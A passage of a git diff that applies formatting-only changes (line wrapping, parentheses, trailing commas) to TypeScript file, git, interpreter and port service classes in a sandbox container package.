FileSystemOperations { success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to move file', error instanceof Error ? error : undefined, { sourcePath, destinationPath }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to move file', + error instanceof Error ? error : undefined, + { sourcePath, destinationPath } + ); return { success: false, @@ -627,7 +754,11 @@ export class FileService implements FileSystemOperations { } } - async mkdir(path: string, options: MkdirOptions = {}, sessionId = 'default'): Promise> { + async mkdir( + path: string, + options: MkdirOptions = {}, + sessionId = 'default' + ): Promise> { try { // 1. Validate path for security const validation = this.security.validatePath(path); @@ -635,10 +766,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -656,7 +793,10 @@ export class FileService implements FileSystemOperations { command += ` ${escapedPath}`; // 4. Create directory using SessionManager - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult; @@ -670,7 +810,12 @@ export class FileService implements FileSystemOperations { error: { message: `mkdir operation failed with exit code ${result.exitCode}`, code: ErrorCode.FILESYSTEM_ERROR, - details: { path, options, exitCode: result.exitCode, stderr: result.stderr } + details: { + path, + options, + exitCode: result.exitCode, + stderr: result.stderr + } } }; } @@ -679,8 +824,13 @@ export class FileService implements FileSystemOperations { success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to create directory', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to create directory', + error instanceof Error ? error : undefined, + { path } + ); return { success: false, @@ -697,7 +847,10 @@ export class FileService implements FileSystemOperations { } } - async exists(path: string, sessionId = 'default'): Promise> { + async exists( + path: string, + sessionId = 'default' + ): Promise> { try { // 1. Validate path for security const validation = this.security.validatePath(path); @@ -705,10 +858,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -718,7 +877,10 @@ export class FileService implements FileSystemOperations { const escapedPath = this.escapePath(path); const command = `test -e ${escapedPath}`; - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { // If execution fails, treat as non-existent @@ -736,8 +898,12 @@ export class FileService implements FileSystemOperations { data: exists }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.warn('Error checking file existence', { path, error: errorMessage }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.warn('Error checking file existence', { + path, + error: errorMessage + }); return { success: false, @@ -754,7 +920,10 @@ export class FileService implements FileSystemOperations { } } - async stat(path: string, sessionId = 'default'): Promise> { + async stat( + path: string, + sessionId = 'default' + ): Promise> { try { // 1. Validate path for security const validation = this.security.validatePath(path); @@ -762,10 +931,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -799,7 +974,10 @@ export class FileService implements FileSystemOperations { const command = `stat ${statCmd.args[0]} ${statCmd.args[1]} ${escapedPath}`; // 5. Get file stats using SessionManager - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult; @@ -824,7 +1002,10 @@ export class FileService implements FileSystemOperations { // 7. Validate stats (via manager) const statsValidation = this.manager.validateStats(stats); if (!statsValidation.valid) { - this.logger.warn('Stats validation warnings', { path, errors: statsValidation.errors }); + this.logger.warn('Stats validation warnings', { + path, + errors: statsValidation.errors + }); } return { @@ -832,8 +1013,13 @@ export class FileService implements FileSystemOperations { data: stats }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to get file stats', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to get file stats', + error instanceof Error ? error : undefined, + { path } + ); return { success: false, @@ -852,35 +1038,66 @@ export class FileService implements FileSystemOperations { // Convenience methods with ServiceResult wrapper for higher-level operations - async readFile(path: string, options?: ReadOptions, sessionId?: string): Promise> { + async readFile( + path: string, + options?: ReadOptions, + sessionId?: string + ): Promise> { return await this.read(path, options, sessionId); } - async writeFile(path: string, content: string, options?: WriteOptions, sessionId?: string): Promise> { + async writeFile( + path: string, + content: string, + options?: WriteOptions, + sessionId?: string + ): Promise> { return await this.write(path, content, options, sessionId); } - async deleteFile(path: string, sessionId?: string): Promise> { + async deleteFile( + path: string, + sessionId?: string + ): Promise> { return await this.delete(path, sessionId); } - async renameFile(oldPath: string, newPath: string, sessionId?: string): Promise> { + async renameFile( + oldPath: string, + newPath: string, + sessionId?: string + ): Promise> { return await this.rename(oldPath, newPath, sessionId); } - async moveFile(sourcePath: string, destinationPath: string, sessionId?: string): Promise> { + async moveFile( + sourcePath: string, + destinationPath: string, + sessionId?: string + ): Promise> { return await this.move(sourcePath, destinationPath, sessionId); } - async createDirectory(path: string, options?: MkdirOptions, sessionId?: string): Promise> { + async createDirectory( + path: string, + options?: MkdirOptions, + sessionId?: string + ): Promise> { return await this.mkdir(path, options, sessionId); } - async getFileStats(path: string, sessionId?: string): Promise> { + async getFileStats( + path: string, + sessionId?: string + ): Promise> { return await this.stat(path, sessionId); } - async listFiles(path: string, options?: ListFilesOptions, sessionId?: string): Promise> { + async listFiles( + path: string, + options?: ListFilesOptions, + sessionId?: string + ): Promise> { return await this.list(path, options, sessionId); } @@ -900,10 +1117,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -968,7 +1191,10 @@ export class FileService implements FileSystemOperations { // Skip the base directory itself and format output findCommand += ` -not -path ${escapedPath} -printf '%p\\t%y\\t%s\\t%TY-%Tm-%TdT%TH:%TM:%TS\\t%m\\n'`; - const execResult = await this.sessionManager.executeInSession(sessionId, findCommand); + const execResult = await this.sessionManager.executeInSession( + sessionId, + findCommand + ); if (!execResult.success) { return { @@ -983,7 +1209,9 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Failed to list files in '${path}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to list files in '${path}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: ErrorCode.FILESYSTEM_ERROR, details: { path, @@ -998,7 +1226,10 @@ export class FileService implements FileSystemOperations { // 5. Parse the output const files: FileInfo[] = []; - const lines = result.stdout.trim().split('\n').filter(line => line.trim()); + const lines = result.stdout + .trim() + .split('\n') + .filter((line) => line.trim()); for (const line of lines) { const parts = line.split('\t'); @@ -1058,8 +1289,13 @@ export class FileService implements FileSystemOperations { data: files }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to list files', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to list files', + error instanceof Error ? error : undefined, + { path } + ); return { success: false, @@ -1090,7 +1326,11 @@ export class FileService implements FileSystemOperations { /** * Extract permission booleans for current user (owner permissions) */ - private getPermissions(mode: number): { readable: boolean; writable: boolean; executable: boolean } { + private getPermissions(mode: number): { + readable: boolean; + writable: boolean; + executable: boolean; + } { const userPerms = (mode >> 6) & 7; return { readable: (userPerms & 4) !== 0, @@ -1104,7 +1344,10 @@ export class FileService implements FileSystemOperations { * Sends metadata, chunks, and completion events * Uses 65535 byte chunks for proper base64 alignment */ - async readFileStreamOperation(path: string, sessionId = 'default'): Promise> { + async readFileStreamOperation( + path: string, + sessionId = 'default' + ): Promise> { const encoder = new TextEncoder(); const escapedPath = this.escapePath(path); @@ -1119,7 +1362,9 @@ export class FileService implements FileSystemOperations { type: 'error', error: metadataResult.error.message }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); return; } @@ -1130,7 +1375,9 @@ export class FileService implements FileSystemOperations { type: 'error', error: 'Failed to get file metadata' }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); return; } @@ -1143,7 +1390,9 @@ export class FileService implements FileSystemOperations { isBinary: metadata.isBinary, encoding: metadata.encoding }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(metadataEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(metadataEvent)}\n\n`) + ); // 3. Stream file in chunks using dd // Chunk size of 65535 bytes (divisible by 3 for base64 alignment) @@ -1165,14 +1414,19 @@ export class FileService implements FileSystemOperations { command = `dd if=${escapedPath} bs=${chunkSize} skip=${skip} count=${count} 2>/dev/null`; } - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { const errorEvent = { type: 'error', error: `Failed to read chunk at offset ${bytesRead}: Command execution failed` }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); return; } @@ -1182,7 +1436,9 @@ export class FileService implements FileSystemOperations { type: 'error', error: `Failed to read chunk at offset ${bytesRead}: ${execResult.data.stderr}` }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); return; } @@ -1199,7 +1455,9 @@ export class FileService implements FileSystemOperations { type: 'chunk', data: chunkData }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(chunkEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(chunkEvent)}\n\n`) + ); // Calculate actual bytes read // For text files: use the actual length of the data @@ -1223,21 +1481,29 @@ export class FileService implements FileSystemOperations { type: 'complete', bytesRead: metadata.size }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(completeEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(completeEvent)}\n\n`) + ); controller.close(); - } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('File streaming failed', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'File streaming failed', + error instanceof Error ? error : undefined, + { path } + ); const errorEvent = { type: 'error', error: errorMessage }; - controller.enqueue(encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`)); + controller.enqueue( + encoder.encode(`data: ${JSON.stringify(errorEvent)}\n\n`) + ); controller.close(); } } }); } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/services/git-service.ts b/packages/sandbox-container/src/services/git-service.ts index 93553352..a2810e5c 100644 --- a/packages/sandbox-container/src/services/git-service.ts +++ b/packages/sandbox-container/src/services/git-service.ts @@ -3,7 +3,7 @@ import type { Logger } from '@repo/shared'; import type { GitErrorContext, - ValidationFailedContext, + ValidationFailedContext } from '@repo/shared/errors'; import { ErrorCode } from '@repo/shared/errors'; import type { CloneOptions, ServiceResult } from '../core/types'; @@ -31,15 +31,20 @@ export class GitService { * Quotes arguments that contain spaces for safe shell execution */ private buildCommand(args: string[]): string { - return args.map(arg => { - if (arg.includes(' ')) { - return `"${arg}"`; - } - return arg; - }).join(' '); + return args + .map((arg) => { + if (arg.includes(' ')) { + return `"${arg}"`; + } + return arg; + }) + .join(' '); } - async cloneRepository(repoUrl: string, options: CloneOptions = {}): Promise> { + async cloneRepository( + repoUrl: string, + options: CloneOptions = {} + ): Promise> { try { // Validate repository URL const urlValidation = this.security.validateGitUrl(repoUrl); @@ -47,21 +52,24 @@ export class GitService { return { success: false, error: { - message: `Invalid Git URL '${repoUrl}': ${urlValidation.errors.join(', ')}`, + message: `Invalid Git URL '${repoUrl}': ${urlValidation.errors.join( + ', ' + )}`, code: ErrorCode.INVALID_GIT_URL, details: { - validationErrors: urlValidation.errors.map(e => ({ + validationErrors: urlValidation.errors.map((e) => ({ field: 'repoUrl', message: e, code: 'INVALID_GIT_URL' })) - } satisfies ValidationFailedContext, - }, + } satisfies ValidationFailedContext + } }; } // Generate target directory if not provided - const targetDirectory = options.targetDir || this.manager.generateTargetDirectory(repoUrl); + const targetDirectory = + options.targetDir || this.manager.generateTargetDirectory(repoUrl); // Validate target directory path const pathValidation = this.security.validatePath(targetDirectory); @@ -69,26 +77,35 @@ export class GitService { return { success: false, error: { - message: `Invalid target directory '${targetDirectory}': ${pathValidation.errors.join(', ')}`, + message: `Invalid target directory '${targetDirectory}': ${pathValidation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: pathValidation.errors.map(e => ({ + validationErrors: pathValidation.errors.map((e) => ({ field: 'targetDirectory', message: e, code: 'INVALID_PATH' })) - } satisfies ValidationFailedContext, - }, + } satisfies ValidationFailedContext + } }; } // Build git clone command (via manager) - const args = this.manager.buildCloneArgs(repoUrl, targetDirectory, options); + const args = this.manager.buildCloneArgs( + repoUrl, + targetDirectory, + options + ); const command = this.buildCommand(args); // Execute git clone (via SessionManager) const sessionId = options.sessionId || 'default'; - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult<{ path: string; branch: string }>; @@ -104,19 +121,25 @@ export class GitService { stderr: result.stderr }); - const errorCode = this.manager.determineErrorCode('clone', result.stderr || 'Unknown error', result.exitCode); + const errorCode = this.manager.determineErrorCode( + 'clone', + result.stderr || 'Unknown error', + result.exitCode + ); return { success: false, error: { - message: `Failed to clone repository '${repoUrl}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to clone repository '${repoUrl}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: errorCode, details: { repository: repoUrl, targetDir: targetDirectory, exitCode: result.exitCode, stderr: result.stderr - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } @@ -125,7 +148,11 @@ export class GitService { // explicitly specified or defaulted to the repository's HEAD const branchArgs = this.manager.buildGetCurrentBranchArgs(); const branchCommand = this.buildCommand(branchArgs); - const branchExecResult = await this.sessionManager.executeInSession(sessionId, branchCommand, targetDirectory); + const branchExecResult = await this.sessionManager.executeInSession( + sessionId, + branchCommand, + targetDirectory + ); if (!branchExecResult.success) { // If we can't get the branch, use fallback but don't fail the entire operation @@ -136,7 +163,7 @@ export class GitService { data: { path: targetDirectory, branch: actualBranch - }, + } }; } @@ -155,11 +182,16 @@ export class GitService { data: { path: targetDirectory, branch: actualBranch - }, + } }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to clone repository', error instanceof Error ? error : undefined, { repoUrl, options }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to clone repository', + error instanceof Error ? error : undefined, + { repoUrl, options } + ); return { success: false, @@ -170,13 +202,17 @@ export class GitService { repository: repoUrl, targetDir: options.targetDir, stderr: errorMessage - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } } - async checkoutBranch(repoPath: string, branch: string, sessionId = 'default'): Promise> { + async checkoutBranch( + repoPath: string, + branch: string, + sessionId = 'default' + ): Promise> { try { // Validate repository path const pathValidation = this.security.validatePath(repoPath); @@ -184,16 +220,18 @@ export class GitService { return { success: false, error: { - message: `Invalid repository path '${repoPath}': ${pathValidation.errors.join(', ')}`, + message: `Invalid repository path '${repoPath}': ${pathValidation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: pathValidation.errors.map(e => ({ + validationErrors: pathValidation.errors.map((e) => ({ field: 'repoPath', message: e, code: 'INVALID_PATH' })) - } satisfies ValidationFailedContext, - }, + } satisfies ValidationFailedContext + } }; } @@ -203,16 +241,21 @@ export class GitService { return { success: false, error: { - message: `Invalid branch name '${branch}': ${branchValidation.error || 'Invalid format'}`, + message: `Invalid branch name '${branch}': ${ + branchValidation.error || 'Invalid format' + }`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: [{ - field: 'branch', - message: branchValidation.error || 'Invalid branch name format', - code: 'INVALID_BRANCH' - }] - } satisfies ValidationFailedContext, - }, + validationErrors: [ + { + field: 'branch', + message: + branchValidation.error || 'Invalid branch name format', + code: 'INVALID_BRANCH' + } + ] + } satisfies ValidationFailedContext + } }; } @@ -221,7 +264,11 @@ export class GitService { const command = this.buildCommand(args); // Execute git checkout (via SessionManager) - const execResult = await this.sessionManager.executeInSession(sessionId, command, repoPath); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command, + repoPath + ); if (!execResult.success) { return execResult as ServiceResult; @@ -237,28 +284,39 @@ export class GitService { stderr: result.stderr }); - const errorCode = this.manager.determineErrorCode('checkout', result.stderr || 'Unknown error', result.exitCode); + const errorCode = this.manager.determineErrorCode( + 'checkout', + result.stderr || 'Unknown error', + result.exitCode + ); return { success: false, error: { - message: `Failed to checkout branch '${branch}' in '${repoPath}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to checkout branch '${branch}' in '${repoPath}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: errorCode, details: { branch, targetDir: repoPath, exitCode: result.exitCode, stderr: result.stderr - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to checkout branch', error instanceof Error ? error : undefined, { repoPath, branch }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to checkout branch', + error instanceof Error ? error : undefined, + { repoPath, branch } + ); return { success: false, @@ -269,13 +327,16 @@ export class GitService { branch, targetDir: repoPath, stderr: errorMessage - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } } - async getCurrentBranch(repoPath: string, sessionId = 'default'): Promise> { + async getCurrentBranch( + repoPath: string, + sessionId = 'default' + ): Promise> { try { // Validate repository path const pathValidation = this.security.validatePath(repoPath); @@ -283,16 +344,18 @@ export class GitService { return { success: false, error: { - message: `Invalid repository path '${repoPath}': ${pathValidation.errors.join(', ')}`, + message: `Invalid repository path '${repoPath}': ${pathValidation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: pathValidation.errors.map(e => ({ + validationErrors: pathValidation.errors.map((e) => ({ field: 'repoPath', message: e, code: 'INVALID_PATH' })) - } satisfies ValidationFailedContext, - }, + } satisfies ValidationFailedContext + } }; } @@ -301,7 +364,11 @@ export class GitService { const command = this.buildCommand(args); // Execute command (via SessionManager) - const execResult = await this.sessionManager.executeInSession(sessionId, command, repoPath); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command, + repoPath + ); if (!execResult.success) { return execResult as ServiceResult; @@ -310,18 +377,24 @@ export class GitService { const result = execResult.data; if (result.exitCode !== 0) { - const errorCode = this.manager.determineErrorCode('getCurrentBranch', result.stderr || 'Unknown error', result.exitCode); + const errorCode = this.manager.determineErrorCode( + 'getCurrentBranch', + result.stderr || 'Unknown error', + result.exitCode + ); return { success: false, error: { - message: `Failed to get current branch in '${repoPath}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to get current branch in '${repoPath}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: errorCode, details: { targetDir: repoPath, exitCode: result.exitCode, stderr: result.stderr - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } @@ -329,11 +402,16 @@ export class GitService { return { success: true, - data: currentBranch, + data: currentBranch }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to get current branch', error instanceof Error ? error : undefined, { repoPath }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to get current branch', + error instanceof Error ? error : undefined, + { repoPath } + ); return { success: false, @@ -343,13 +421,16 @@ export class GitService { details: { targetDir: repoPath, stderr: errorMessage - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } } - async listBranches(repoPath: string, sessionId = 'default'): Promise> { + async listBranches( + repoPath: string, + sessionId = 'default' + ): Promise> { try { // Validate repository path const pathValidation = this.security.validatePath(repoPath); @@ -357,16 +438,18 @@ export class GitService { return { success: false, error: { - message: `Invalid repository path '${repoPath}': ${pathValidation.errors.join(', ')}`, + message: `Invalid repository path '${repoPath}': ${pathValidation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: pathValidation.errors.map(e => ({ + validationErrors: pathValidation.errors.map((e) => ({ field: 'repoPath', message: e, code: 'INVALID_PATH' })) - } satisfies ValidationFailedContext, - }, + } satisfies ValidationFailedContext + } }; } @@ -375,7 +458,11 @@ export class GitService { const command = this.buildCommand(args); // Execute command (via SessionManager) - const execResult = await this.sessionManager.executeInSession(sessionId, command, repoPath); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command, + repoPath + ); if (!execResult.success) { return execResult as ServiceResult; @@ -384,18 +471,24 @@ export class GitService { const result = execResult.data; if (result.exitCode !== 0) { - const errorCode = this.manager.determineErrorCode('listBranches', result.stderr || 'Unknown error', result.exitCode); + const errorCode = this.manager.determineErrorCode( + 'listBranches', + result.stderr || 'Unknown error', + result.exitCode + ); return { success: false, error: { - message: `Failed to list branches in '${repoPath}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to list branches in '${repoPath}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: errorCode, details: { targetDir: repoPath, exitCode: result.exitCode, stderr: result.stderr - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } @@ -404,11 +497,16 @@ export class GitService { return { success: true, - data: branches, + data: branches }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to list branches', error instanceof Error ? error : undefined, { repoPath }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to list branches', + error instanceof Error ? error : undefined, + { repoPath } + ); return { success: false, @@ -418,10 +516,9 @@ export class GitService { details: { targetDir: repoPath, stderr: errorMessage - } satisfies GitErrorContext, - }, + } satisfies GitErrorContext + } }; } } - -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/services/interpreter-service.ts b/packages/sandbox-container/src/services/interpreter-service.ts index f7297dc9..c187042e 100644 --- a/packages/sandbox-container/src/services/interpreter-service.ts +++ b/packages/sandbox-container/src/services/interpreter-service.ts @@ -5,7 +5,7 @@ import type { CodeExecutionContext, ContextNotFoundContext, InternalErrorContext, - InterpreterNotReadyContext, + InterpreterNotReadyContext } from '@repo/shared/errors'; import { ErrorCode } from '@repo/shared/errors'; import type { ServiceResult } from '../core/types'; @@ -37,11 +37,15 @@ export class InterpreterService { return { success: true, - data: status, + data: status }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to get health status', error instanceof Error ? error : undefined); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to get health status', + error instanceof Error ? error : undefined + ); return { success: false, @@ -50,8 +54,8 @@ export class InterpreterService { code: ErrorCode.INTERNAL_ERROR, details: { originalError: errorMessage - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -59,17 +63,24 @@ export class InterpreterService { /** * Create a new code execution context */ - async createContext(request: CreateContextRequest): Promise> { + async createContext( + request: CreateContextRequest + ): Promise> { try { const context = await this.coreService.createContext(request); return { success: true, - data: context, + data: context }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to create context', error instanceof Error ? error : undefined, { request }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to create context', + error instanceof Error ? error : undefined, + { request } + ); if (error instanceof InterpreterNotReadyError) { return { @@ -80,8 +91,8 @@ export class InterpreterService { details: { progress: error.progress, retryAfter: error.retryAfter - } satisfies InterpreterNotReadyContext, - }, + } satisfies InterpreterNotReadyContext + } }; } @@ -92,8 +103,8 @@ export class InterpreterService { code: ErrorCode.INTERNAL_ERROR, details: { originalError: errorMessage - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -107,11 +118,15 @@ export class InterpreterService { return { success: true, - data: contexts, + data: contexts }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to list contexts', error instanceof Error ? error : undefined); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to list contexts', + error instanceof Error ? error : undefined + ); return { success: false, @@ -120,8 +135,8 @@ export class InterpreterService { code: ErrorCode.INTERNAL_ERROR, details: { originalError: errorMessage - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -134,11 +149,16 @@ export class InterpreterService { await this.coreService.deleteContext(contextId); return { - success: true, + success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to delete context', error instanceof Error ? error : undefined, { contextId }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to delete context', + error instanceof Error ? error : undefined, + { contextId } + ); // Check if it's a "not found" error if (errorMessage.includes('not found')) { @@ -149,8 +169,8 @@ export class InterpreterService { code: ErrorCode.CONTEXT_NOT_FOUND, details: { contextId - } satisfies ContextNotFoundContext, - }, + } satisfies ContextNotFoundContext + } }; } @@ -162,8 +182,8 @@ export class InterpreterService { details: { contextId, originalError: errorMessage - } satisfies InternalErrorContext, - }, + } satisfies InternalErrorContext + } }; } } @@ -183,12 +203,21 @@ export class InterpreterService { ): Promise { try { // The core service returns a Response directly for streaming - const response = await this.coreService.executeCode(contextId, code, language); + const response = await this.coreService.executeCode( + contextId, + code, + language + ); return response; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to execute code', error instanceof Error ? error : undefined, { contextId }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to execute code', + error instanceof Error ? error : undefined, + { contextId } + ); // Return error as JSON response return new Response( @@ -199,12 +228,12 @@ export class InterpreterService { details: { contextId, evalue: errorMessage - } satisfies CodeExecutionContext, - }, + } satisfies CodeExecutionContext + } }), { status: 500, - headers: { 'Content-Type': 'application/json' }, + headers: { 'Content-Type': 'application/json' } } ); } diff --git a/packages/sandbox-container/src/services/port-service.ts b/packages/sandbox-container/src/services/port-service.ts index 9d4ab360..c8dfa356 100644 --- a/packages/sandbox-container/src/services/port-service.ts +++ b/packages/sandbox-container/src/services/port-service.ts @@ -5,7 +5,7 @@ import type { InvalidPortContext, PortAlreadyExposedContext, PortErrorContext, - PortNotExposedContext, + PortNotExposedContext } from '@repo/shared/errors'; import { ErrorCode } from '@repo/shared/errors'; import type { PortInfo, ServiceResult } from '../core/types'; @@ -42,7 +42,7 @@ export class InMemoryPortStore implements PortStore { async list(): Promise> { return Array.from(this.exposedPorts.entries()).map(([port, info]) => ({ port, - info, + info })); } @@ -81,7 +81,10 @@ export class PortService { this.startCleanupProcess(); } - async exposePort(port: number, name?: string): Promise> { + async exposePort( + port: number, + name?: string + ): Promise> { try { // Validate port number const validation = this.security.validatePort(port); @@ -89,13 +92,15 @@ export class PortService { return { success: false, error: { - message: `Invalid port number ${port}: ${validation.errors.join(', ')}`, + message: `Invalid port number ${port}: ${validation.errors.join( + ', ' + )}`, code: ErrorCode.INVALID_PORT_NUMBER, details: { port, reason: validation.errors.join(', ') - } satisfies InvalidPortContext, - }, + } satisfies InvalidPortContext + } }; } @@ -105,13 +110,15 @@ export class PortService { return { success: false, error: { - message: `Port ${port}${existing.name ? ` (${existing.name})` : ''} is already exposed`, + message: `Port ${port}${ + existing.name ? ` (${existing.name})` : '' + } is already exposed`, code: ErrorCode.PORT_ALREADY_EXPOSED, details: { port, portName: existing.name - } satisfies PortAlreadyExposedContext, - }, + } satisfies PortAlreadyExposedContext + } }; } @@ -121,23 +128,30 @@ export class PortService { return { success: true, - data: portInfo, + data: portInfo 